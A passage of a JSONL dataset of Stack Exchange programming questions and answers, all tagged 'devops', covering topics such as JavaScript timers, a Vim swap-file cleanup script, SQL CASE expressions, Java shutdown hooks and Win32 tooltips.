NPP_NewStream, NPP_WriteReady, NPP_Write, and NPP_DestroyStream as a way for your plugin to get the file's data from the browser.  There's plenty more in\nthe Gecko Plugin developer's guide\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.265269"}
{"id": "hf_d0ec44fdd2b5", "question": "<p>I'm displaying a set of images as an overlay using Google Maps. Displaying these images should be in an endless loop but most most browsers detect this, and display a warning. </p>\n\n<p>Is there a way to make a endless loop in JavaScript so that it isn't stopped or warned against by the browser?</p>\n", "question_body": "", "answer": "Try\nsetInterval\nor\nsetTimeout\n.\nHere is an example:\n```\n```\n(show = (o) => setTimeout(() => {\n\n  console.log(o)\n  show(++o)\n\n}, 1000))(1);\n```\n```\n```\n```\n.as-console-wrapper { max-height: 100% !important; top: 0; }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.332647"}
{"id": "hf_ed272ea29f09", "question": "<p>I've just started developing an ExtJS application that I plan to support with a very lightweight JSON PHP service.  Other than that, it will be standalone. My question is, what is the best way to organize the files and classes that will inevitably come into existence?  Anyone have any experience with large ExtJS projects (several thousand lines).\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "While developing your application your file and folder structure shouldn't really matter as you're probably going to want to minimize the release code and stick it in a single JS file when you're done. An automated handler or build script is probably going to be the best bet for this (see\nhttp://extjs.com/forum/showthread.php?t=44158\n).\nThat said, I've read somewhere on the ExtJS forums that a single file per class is advisable, and I can attest to that from my own experience.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.357454"}
{"id": "hf_dc1e96f0c471", "question": "<p>Sorry for the subject line sounding like an even nerdier Harry Potter title.</p>\n\n<p>I'm trying to use AS3's Socket class to write a simple FTP program to export as an AIR app in Flex Builder 3.  I'm using an FTP server on my local network to test the program.  I can successfully connect to the server (the easy part) but I can't send any commands.  I'm pretty sure that you have to use the ByteArray class to send these commands but there's some crucial piece of information that I'm missing apparently.  Does anyone know how to do this?  Thanks!\nDave</p>\n", "question_body": "", "answer": "We will need more info to resolve this.. What you're saying here appears correct to me. You're using the Socket class to send data though, not ByteArray.\nAre you sure data is not being sent? How are you receiving the response? It may be that it's working fine but you're just not aware of it? As i said, tell us more about what you're doing..\nLee Brimelow has a\nscreencast on gotoAndLearn\nof writing an POP3 client. It's essentially the same of what you're doing so take a look.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.380561"}
{"id": "hf_347e844dc1b0", "question": "<p>I'm a very experienced Java programmer who has spent my entire time working with Java 1.4 and earlier.  Where can I find a quick reference that will give me everything I need to know about the new features in Java5 and later in a quick reference?</p>\n", "question_body": "", "answer": "Here's a good place to start:\nhttps://docs.oracle.com/javase/1.5.0/docs/relnotes/features.html\nhttp://java.sun.com/developer/technicalArticles/releases/j2se15/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.403649"}
{"id": "hf_31f719b4ba42", "question": "<p>When a previous Vim session crashed, you are greeted with the \"Swap file ... already exists!\" for each and every file that was open in the previous session.</p>\n\n<p>Can you make this Vim recovery prompt smarter? (Without switching off recovery!) Specifically, I'm thinking of:</p>\n\n<ul>\n<li>If the swapped version does not contain unsaved changes and the editing process is no longer running, can you make Vim automatically delete the swap file?</li>\n<li>Can you automate the suggested process of saving the recovered file under a new name, merging it with file on disk and then deleting the old swap file, so that minimal interaction is required? Especially when the swap version and the disk version are the same, everything should be automatic.</li>\n</ul>\n\n<p>I discovered the <code>SwapExists</code> autocommand but I don't know if it can help with these tasks.</p>\n", "question_body": "", "answer": "I have vim store my swap files in a single local directory, by having this in my .vimrc:\n```\n```\nset directory=~/.vim/swap,.\n```\n```\nAmong other benefits, this makes the swap files easy to find all at once.\nNow when my laptop loses power or whatever and I start back up with a bunch of swap files laying around, I just run my\n```\ncleanswap\n```\nscript:\n```\n```\nTMPDIR=$(mktemp -d) || exit 1\nRECTXT=\"$TMPDIR/vim.recovery.$USER.txt\"\nRECFN=\"$TMPDIR/vim.recovery.$USER.fn\"\ntrap 'rm -f \"$RECTXT\" \"$RECFN\"; rmdir \"$TMPDIR\"' 0 1 2 3 15\nfor q in ~/.vim/swap/.*sw? ~/.vim/swap/*; do\n  [[ -f $q ]] || continue\n  rm -f \"$RECTXT\" \"$RECFN\"\n  vim -X -r \"$q\" \\\n      -c \"w! $RECTXT\" \\\n      -c \"let fn=expand('%')\" \\\n      -c \"new $RECFN\" \\\n      -c \"exec setline( 1, fn )\" \\\n      -c w\\! \\\n      -c \"qa\"\n  if [[ ! -f $RECFN ]]; then\n    echo \"nothing to recover from $q\"\n    rm -f \"$q\"\n    continue\n  fi\n  CRNT=\"$(cat $RECFN)\"\n  if diff --strip-trailing-cr --brief \"$CRNT\" \"$RECTXT\"; then\n      echo \"removing redundant $q\"\n      echo \"  for $CRNT\"\n      rm -f \"$q\"\n  else\n      echo $q contains changes\n      vim -n -d \"$CRNT\" \"$RECTXT\"\n      rm -i \"$q\" || exit\n  fi\ndone\n```\n```\nThis will remove any swap files that are up-to-date with the real files.  Any that don't match are brought up in a vimdiff window so I can merge in my unsaved changes.\n--Chouser", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.488437"}
{"id": "hf_05022efe2bd6", "question": "<p>I would like to add a DataGridViewTextBoxCell cell to a DataGridViewCell control, but as well as being able to type in the text cell as normal it must also contain a '...' button that once clicks brings up the OpenFileDialog window to allow the user to select a file. Once selected, the text cell will be populated with the full file path.</p>\n\n<p>What is the best way to go about this?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "This\nMSDN article explains how to add a custom control to a\n```\nDataGridView\n```\n.\nYou should be able to make a\n```\nUserControl\n```\nthat has a textbox and button on it and embed that in the\n```\nDataGridView\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.560472"}
{"id": "hf_67b5b7a00270", "question": "<p>What is the Reuse/Release Equivalence Principle and why is it important?</p>\n", "question_body": "", "answer": "The Reuse/Release Equivalence Principle (REP) says:\nThe unit of reuse is the unit of release. Effective reuse requires tracking of releases from a change control system. The package is the effective unit of reuse and release.\nThe unit of reuse is the unit of release\nCode should not be reused by copying it from one class and pasting it into another. If the original author fixes any bugs in the code, or adds any features, you will not automatically get the benefit. You will have to find out what's changed, then alter your copy. Your code and the original code will gradually diverge.\nInstead, code should be reused by including a released library in your code. The original author retains responsibility for maintaining it; you should not even need to see the source code.\nEffective reuse requires tracking of releases from a change control system\nThe author of a library needs to identify releases with numbers or names of some sort. This allows users of the library to identify different versions. This requires the use of some kind of release tracking system.\nThe package is the effective unit of reuse and release\nIt might be possible to use a class as the unit of reuse and release, however there are so many classes in a typical application, it would be burdensome for the release tracking system to keep track of them all. A larger-scale entity is required, and the package fits this need well.\nSee also Robert Martin's article on\nGranularity\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.584226"}
{"id": "hf_15f397b15d56", "question": "<p>If Java application requires certain JRE version then how can I check its availability on Mac OS X during installation?</p>\n", "question_body": "", "answer": "It should be as simple as looking at /System/Library/Frameworks/JavaVM.framework/Versions/\nE.g. from my machine:\n```\n```\nmanoa:~ stu$ ll /System/Library/Frameworks/JavaVM.framework/Versions/\ntotal 56\n774077 lrwxr-xr-x  1 root  wheel    5 Jul 23 15:31 1.3 -> 1.3.1\n167151 drwxr-xr-x  3 root  wheel  102 Jan 14  2008 1.3.1\n167793 lrwxr-xr-x  1 root  wheel    5 Feb 21  2008 1.4 -> 1.4.2\n774079 lrwxr-xr-x  1 root  wheel    3 Jul 23 15:31 1.4.1 -> 1.4\n166913 drwxr-xr-x  8 root  wheel  272 Feb 21  2008 1.4.2\n168494 lrwxr-xr-x  1 root  wheel    5 Feb 21  2008 1.5 -> 1.5.0\n166930 drwxr-xr-x  8 root  wheel  272 Feb 21  2008 1.5.0\n774585 lrwxr-xr-x  1 root  wheel    5 Jul 23 15:31 1.6 -> 1.6.0\n747415 drwxr-xr-x  8 root  wheel  272 Jul 23 10:24 1.6.0\n167155 drwxr-xr-x  8 root  wheel  272 Jul 23 15:31 A\n776765 lrwxr-xr-x  1 root  wheel    1 Jul 23 15:31 Current -> A\n774125 lrwxr-xr-x  1 root  wheel    3 Jul 23 15:31 CurrentJDK -> 1.5\nmanoa:~ stu$\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.699362"}
{"id": "hf_5cdf32f9f1bc", "question": "<p>How would you make the contents of Flex RIA applications accessible to Google, so that Google can index the content and shows links to the right items in your Flex RIA. Consider a online shop, created in Flex, where the offered items shall be indexed by Google. Then a link on Google should open the corresponding product in the RIA.</p>\n", "question_body": "", "answer": "There is a massive thread available here:\nhttp://tech.groups.yahoo.com/group/flexcoders/message/58926\nBut essentially, google already indexes .SWF files (you can test this out yourself by restricting search results to just .SWF files). It can search any text content within the SWF file.\nHowever, if the text information in your site comes from a database / web server. Then it won't be able to access this information easily.\nOne example of getting this to work is using an XML file as your index page, then using an XSLT transform to render it using Flex. \"Ted On Flex\" has good information about this.\nhttp://flex.org/consultants", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.723750"}
{"id": "hf_e8e364a9a133", "question": "<p>How do I select all the columns in a table that only contain NULL values for all the rows?  I'm using <strong>MS SQL Server 2005</strong>.  I'm trying to find out which columns are not used in the table so I can delete them.</p>\n", "question_body": "", "answer": "```\n```\nSELECT cols\nFROM table\nWHERE cols IS NULL\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.759833"}
{"id": "hf_2d4403c02c32", "question": "<p>I have Sun webserver iws6 (iplanet 6) proxying my bea cluster.\nMy cluster is under /portal/yadda.\nI want anyone who goes to </p>\n\n<pre><code>http://the.domain.com/\n</code></pre>\n\n<p>to be quickly redirected to </p>\n\n<pre><code>http://the.domain.com/portal/\n</code></pre>\n\n<p>I have and index.html that does a post and redirect, but the user sometimes sees it.\nDoes anyone have a better way?</p>\n\n<p>Aaron</p>\n\n<p>I have tried the 3 replies below. None of them worked for me. Back to the drawing board.\nA</p>\n", "question_body": "", "answer": "Does this help?\nhttp://docs.sun.com/source/816-5691-10/essearch.htm#25618\nTo map a URL, perform the following steps:\nOpen the Class Manager and select the server instance from the drop-down list.\nChoose the Content Mgmt tab.\nClick the Additional Document Directories link.\nThe web server displays the Additional Document Directories page.\n(Optional) Add another directory by entering one of the following.\nURL prefix.\nFor example: plans.\nAbsolute physical path of the directory you want the URL mapped to.\nFor example:\nC:/iPlanet/Servers/docs/marketing/plans\nClick OK.\nClick Apply.\nEdit one of the current additional directories listed by selecting one of the following:\nEdit\nRemove\nIf editing, select edit next to the listed directory you wish to change.\nEnter a new prefix using ASCII format.\n(Optional) Select a style in the Apply Style drop-down list if you want to apply a style to the directory:\nFor more information about styles, see Applying Configuration Styles.\nClick OK to add the new document directory.\nClick Apply.\nChoose Apply Changes to hard start /restart your server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.784853"}
{"id": "hf_7a08d98176a4", "question": "<p>I have a case where a VB.Net winforms app needs to play WMV files from across the network. The user running the app cannot be given direct access to the network share. Through impersonation, I can see that the files exist (without impersonation, File.Exists returns false for the files on the network share). When I then try to load the file into a Windows Media Player control, the control just remains black. I have deduced that when the Windows Media Player control is loaded into memory, it is running on a separate unmanaged thread than the .Net managed thread. Is there any way to pass that security token from the managed thread to the unmanaged thread? Am I missing something completely?</p>\n", "question_body": "", "answer": "I suppose you tried using\n```\n```\n[DllImport(\"advapi32.dll\", SetLastError=true)]\npublic static extern int LogonUser(string pszUsername, string pszDomain, string pszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken);\n```\n```\nto log in the network share.\nIn my experience it doesn't care about threads.\nI can show you a usage example if you think it can be useful at all. Kind of a long shot to mention it here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.856568"}
{"id": "hf_36b9b54623dc", "question": "<p>How can I programatically cause a control's tooltip to show in a Winforms app without needing the mouse to hover over the control?  (P/Invoke is ok if necessary). </p>\n", "question_body": "", "answer": "This is the code I use:\n```\n```\nstatic HWND hwndToolTip = NULL;\n\nvoid CreateToolTip( HWND hWndControl, TCHAR *tipText )\n{  \n    BOOL success;\n\n  if( hwndToolTip == NULL )\n  {\n    hwndToolTip = CreateWindow(  TOOLTIPS_CLASS, \n                                 NULL, \n                                 WS_POPUP | TTS_NOPREFIX | TTS_ALWAYSTIP,                                     \n                                 CW_USEDEFAULT, CW_USEDEFAULT, \n                                 CW_USEDEFAULT, CW_USEDEFAULT,                                     \n                                 NULL, NULL,\n                                 hInstResource, \n                                 NULL ); \n  }\n\n  if( hwndToolTip )\n  { \n    TOOLINFO ti; \n\n    ti.cbSize   = sizeof(ti); \n    ti.uFlags   = TTF_TRANSPARENT | TTF_SUBCLASS; \n    ti.hwnd     = hWndControl; \n    ti.uId      = 0; \n    ti.hinst    = NULL; \n    ti.lpszText = tipText; \n\n    GetClientRect( hWndControl, &ti.rect ); \n\n    success = SendMessage( hwndToolTip, TTM_ADDTOOL, 0, (LPARAM) &ti ); \n  }\n}\n```\n```\nCall CreateToolTip function to create a tool tip for a certain control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.939405"}
{"id": "hf_1ed04ddee5a7", "question": "<p>How do I perform an <code>IF...THEN</code> in an <code>SQL SELECT</code> statement?</p>\n\n<p>For example:</p>\n\n<pre><code>SELECT IF(Obsolete = 'N' OR InStock = 'Y' ? 1 : 0) AS Saleable, * FROM Product\n</code></pre>\n", "question_body": "", "answer": "```\n```\nSELECT  \n(CASE \n     WHEN (Obsolete = 'N' OR InStock = 'Y') THEN 'YES'\n                                            ELSE 'NO' \n END) as Salable\n, * \nFROM Product\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.974561"}
{"id": "hf_a7db5ac17f2f", "question": "<p>Let's say I have a web page that currently accepts a single ID value via a url parameter:<br>\n    <a href=\"http://example.com/mypage.aspx?ID=1234\" rel=\"nofollow noreferrer\">http://example.com/mypage.aspx?ID=1234</a></p>\n\n<p>I want to change it to accept a <em>list</em> of ids, like this:<br>\n    <a href=\"http://example.com/mypage.aspx?IDs=1234,4321,6789\" rel=\"nofollow noreferrer\">http://example.com/mypage.aspx?IDs=1234,4321,6789</a></p>\n\n<p>So it's available to my code as a string via <em>context.Request.QueryString[\"IDs\"].</em>  What's the best way to turn that string value into a List&lt;int>?</p>\n\n<p><strong>Edit:</strong> I know how to do .split() on a comma to get a list of strings, but I ask because I don't know how to easily convert that string list to an int list.  This is still in .Net 2.0, so no lambdas.</p>\n", "question_body": "", "answer": "You can use string.Split() to split the values once you have extracted them from the URL.\n```\n```\nstring[] splitIds = ids.split(',');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.999052"}
{"id": "hf_ca37314ba75e", "question": "<p>I'm absolutely stunned by the fact that MS just couldn't get it right to navigate to the definition of a method, when you're combining C# and VB projects in one solution.  If you're trying to navigate from VB to C#, it brings up the \"Object Explorer\", and if from C# to VB, it generates a metadata file.</p>\n\n<p>Honestly, what is so complicated about jumping between different languages, especially if they're supposedly using the same CLR?</p>\n\n<p>Does anyone know why this is, or if there's any workaround?\nDid they get it right in VS 2008?</p>\n\n<hr>\n\n<p>@Keith, I am afraid you may be right about your answer.  I am truly stunned that Microsoft screwed this up so badly.  Does anyone have any ideas for a workaround?</p>\n\n<hr>\n\n<p>@Mladen Mihajlovic - that's exactly the situation I'm describing.  Try it out yourself; project references don't make a shred of difference.</p>\n", "question_body": "", "answer": "This is general to both languages.\nF12 in VB.Net always takes you to the object browser\nF12 in C# always takes you to a meta-data definition\nThis is a deliberate mechanism to try and match expected behaviour for upgrading users. The C# way gives you the right information, but the VB way is what users of VBA or VB6 will expect.\nThe behaviour is the same in VS2008.\nThese are the rules for external projects, both should take you to the code if it is in the same solution.\nYou're quite right - VB projects treat C# projects as external and vice versa - you can't navigate from code in one to the other. I've tested this in the latest VS2008 and it's still an issue.\nIt also fails to get complete meta-data. Add a method to your C# code and it won't appear in VB's intellisense until you compile the C# assembly.\nThis is similar to how components appear in the toolstrip, so I figure the normal navigate to code functionality is a feature of code with a common compilers, and everything else uses some kind of reflection.\nAs long as you're still building a PDB it should be able to find the files, I guess it doesn't because they need it to support release builds too. It couldn't find the line of code without the PDB lookups.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.058875"}
{"id": "hf_872988326c2e", "question": "<p>Would like to programmically change the connecton string for a database which utilizes the membership provider of asp.net within a windows application. The system.configuration namespace allows changes to the user settings, however, we would like to adjust a application setting? Does one need to write a class with utilizes XML to modify the class? Does one need to delete the current connections (can one select a connection to clear) and add a new one? Can one adjust the existing connection string?</p>\n", "question_body": "", "answer": "You can programatically open the configuration with using the System.configuration namespace:\n```\nConfiguration myConfig = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);\n```\nThen you can access the connection strings collection at:\n```\nmyConfig.ConnectionStrings.ConnectionStrings\n```\nYou can modify the collection however you want, and when done call\n```\n.Save()\n```\non the configuration object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.083327"}
{"id": "hf_7836d651733e", "question": "<p>Shoes has some built in dump commands (Shoes.debug), but are there other tools that can debug the code without injecting debug messages throughout?  Something like gdb would be great.</p>\n", "question_body": "", "answer": "Have you looked at the ruby-debug gem?\n```\n```\n% sudo gem install ruby-debug\n```\n```\nThe rdebug executable gives you a similar interface to gdb (breakpoint setting, etc).  You just simply execute your script with rdebug instead of ruby.\nYou can also do something like this to avoid manually setting breakpoints:\n```\n```\nclass Foo\n  require 'ruby-debug'\n  def some_method_somewhere\n    debugger # acts like a breakpoint is set at this point\n  end\nend\n```\n```\nHere's a tutorial on ruby-debug:\nhttp://www.datanoise.com/articles/2006/7/12/tutorial-on-ruby-debug", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.154685"}
{"id": "hf_bcf8a6c44b8d", "question": "<p>I would like to save the programs settings every time the user exits the program. So I need a way to call a function when the user quits the program. How do I do that?</p>\n\n<p>I am using Java 1.5.</p>\n", "question_body": "", "answer": "You can add a shutdown hook to your application by doing the following:\n```\n```\nRuntime.getRuntime().addShutdownHook(new Thread(new Runnable() {\n    public void run() {\n        // what you want to do\n    }\n}));\n```\n```\nThis is basically equivalent to having a try {} finally {} block around your entire program, and basically encompasses what's in the finally block.\nPlease note the\ncaveats\nthough!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.226967"}
{"id": "hf_401c55714dfa", "question": "<p>Is there any feasible way of using generics to create a Math library that does not depend on the base type chosen to store data?</p>\n\n<p>In other words, let's assume I want to write a Fraction class. The fraction can be represented by two ints or two doubles or whatnot. The important thing is that the basic four arithmetic operations are well defined. So, I would like to be able to write <code>Fraction&lt;int&gt; frac = new Fraction&lt;int&gt;(1,2)</code> and/or <code>Fraction&lt;double&gt; frac = new Fraction&lt;double&gt;(0.1, 1.0)</code>.</p>\n\n<p>Unfortunately there is no interface representing the four basic operations (+,-,*,/). Has anybody found a workable, feasible way of implementing this?</p>\n", "question_body": "", "answer": "First, your class should limit the generic parameter to primitives ( public class Fraction where T : struct, new() ).\nSecond, you'll probably need to create\nimplicit cast overloads\nso you can handle casting from one type to another without the compiler crying.\nThird, you can overload the four basic operators as well to make the interface more flexible when combining fractions of different types.\nLastly, you have to consider how you are handling arithmetic over and underflows.  A good library is going to be extremely explicit in how it handles overflows; otherwise you cannot trust the outcome of operations of different fraction types.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.264057"}
{"id": "hf_2d806be460ad", "question": "<p>Is there a way I can configure the MidPointRounding enumeration default setting in a config file (I.e. web.config or app.config)  I have a considerable source code base, and I need to configure at the application scope how rounding will occur, whether used in Math.Round or decimal type rounding...  I would like to do this in order to get consistent rounding results throughout the application without changing every line that works with a decimal type or uses Math.Round....</p>\n", "question_body": "", "answer": "Enum.Parse() is your friend here\n```\n```\nMyEnum GetEnumValue(string enumString) {\n  return (MyEnum)Enum.Parse(typeof(MyEnum),enumString);\n}\n```\n```\nObviously you'd also need some error-checking on the string you're getting from you're config file in which case you might want to return a default.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.288872"}
{"id": "hf_5f42e79daa08", "question": "<p>Why does the default IntelliJ default class javadoc comment use non-standard syntax? Instead of creating a line with \"User: jstauffer\" it could create a line with \"@author jstauffer\". The other lines that it creates (Date and Time) probably don't have javadoc syntax to use but why not use the javadoc syntax when available?</p>\n\n<p>For reference here is an example:</p>\n\n<pre>/**\n * Created by IntelliJ IDEA.\n * User: jstauffer\n * Date: Nov 13, 2007\n * Time: 11:15:10 AM\n * To change this template use File | Settings | File Templates.\n */</pre>\n", "question_body": "", "answer": "I'm not sure why Idea doesn't use the\n```\n@author\n```\ntag by default.\nBut you can change this behavior by going to\n```\nFile -> Settings -> File Templates\n```\nand editing the\n```\nFile Header\n```\nentry in the\n```\nIncludes\n```\ntab.\nAs of IDEA 14 it's:\n```\nFile -> Settings -> Editor -> File and Code Templates -> Includes -> File Header\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.313360"}
{"id": "hf_4b840db99a6e", "question": "<p>I am developing a web page code, which fetches dynamically the content from the server and then places this content to container nodes using something like</p>\n\n<pre><code>container.innerHTML = content;\n</code></pre>\n\n<p>Sometimes I have to overwrite some previous content in this node. This works fine, until it happens that previous content occupied more vertical space then a new one would occupy AND a user scrolled the page down -- scrolled more than new content would allow, provided its height.</p>\n\n<p>In this case the page redraws incorrectly -- some artifacts of the old content remain. It works fine, and it is even possible to get rid of artifacts, by minimizing and restoring the browser (or force the window to be redrawn in an other way), however this does not seem very convenient.</p>\n\n<p>I am testing this only under Safari (this is a iPhone-optimized website).</p>\n\n<p>Does anybody have the idea how to deal with this?</p>\n", "question_body": "", "answer": "It sounds like you are having a problem with the browser itself.  Does this problem only occur in one browser?\nOne thing you might try is using a lightweight library like\njQuery\n.  It handles browser differences fairly nicely.  To set the inner HTML for a div with the ID of\ncontainer\nyou would simply write this:\n```\n```\n$('#container').html( content );\n```\n```\nThat will work in most browsers.  I do not know if it will fix your problem specifically or not but it may be worth a try.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.337880"}
{"id": "hf_12babbb3eb5c", "question": "<p>I want to implement in Java a class for handling graph data structures. I have a Node class and an Edge class. The Graph class maintains two list: a list of nodes and a list of edges. Each node must have an unique name. How do I guard against a situation like this:\n</p>\n\n<pre><code>Graph g = new Graph();\n\nNode n1 = new Node(\"#1\");\nNode n2 = new Node(\"#2\");\n\nEdge e1 = new Edge(\"e#1\", \"#1\", \"#2\");\n\n// Each node is added like a reference\ng.addNode(n1);\ng.addNode(n2);\ng.addEdge(e1);\n\n// This will break the internal integrity of the graph\nn1.setName(\"#3\");   \ng.getNode(\"#2\").setName(\"#4\"); \n</code></pre>\n\n<p></p>\n\n<p>I believe I should clone the nodes and the edges when adding them to the graph and return a NodeEnvelope class that will maintain the graph structural integrity. Is this the right way of doing this or the design is broken from the beginning ?</p>\n", "question_body": "", "answer": "In my opinion you should never clone the element unless you explicitly state that your data structure does that.\nThe desired functionality of most things needs the actual object to be passed into the data structure by-reference.\nIf you want to make the\n```\nNode\n```\nclass safer, make it an inner class of the graph.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.361772"}
{"id": "hf_8bea9fb0d17b", "question": "<p>The SQL Server Express 2008 setup allow you to assign different user account for each service. </p>\n\n<p>For a development environment, would you use a domain user, local user, NT Authority\\NETWORK SERCVICE, NT Authority\\Local System or some other account and why? </p>\n", "question_body": "", "answer": "It depends.\nLocal System - Never, it's too high\na privilege.\nNetwork Service -\nPerhaps, if you need to connect to\nnetwork resources, but that's\ndoubtful.\nLocal Service - Probably\nthe best choice, limited privileges,\ndo not unlock network connections\nLocal interactive user? Does it\ntruly need to have login rights, or\nact as a user?\nDomain user? Goodness\nno, not unless you're accessing\nnetwork drives from within it; if\nSQL runs amok then an attacker is\nauthenticated against the domain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.384611"}
{"id": "hf_4f26aaf4c51b", "question": "<p>Semantically speaking, is there an appropriate place in today's websites (late 2008+) where using the bold <code>&lt;b&gt;</code> and italic <code>&lt;i&gt;</code> tags are more useful than the more widely used <code>&lt;strong&gt;</code> and <code>&lt;em&gt;</code> tags?</p>\n", "question_body": "", "answer": "Never. They are removed in XHTML 2.0 as they are presentational tags.  CSS should be used to bold/italicise content.\nedit:\nIf you're looking for a purely presentational tag, that's what the\n```\nSPAN\n```\ntag with a class and a little CSS is for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:18.410650"}
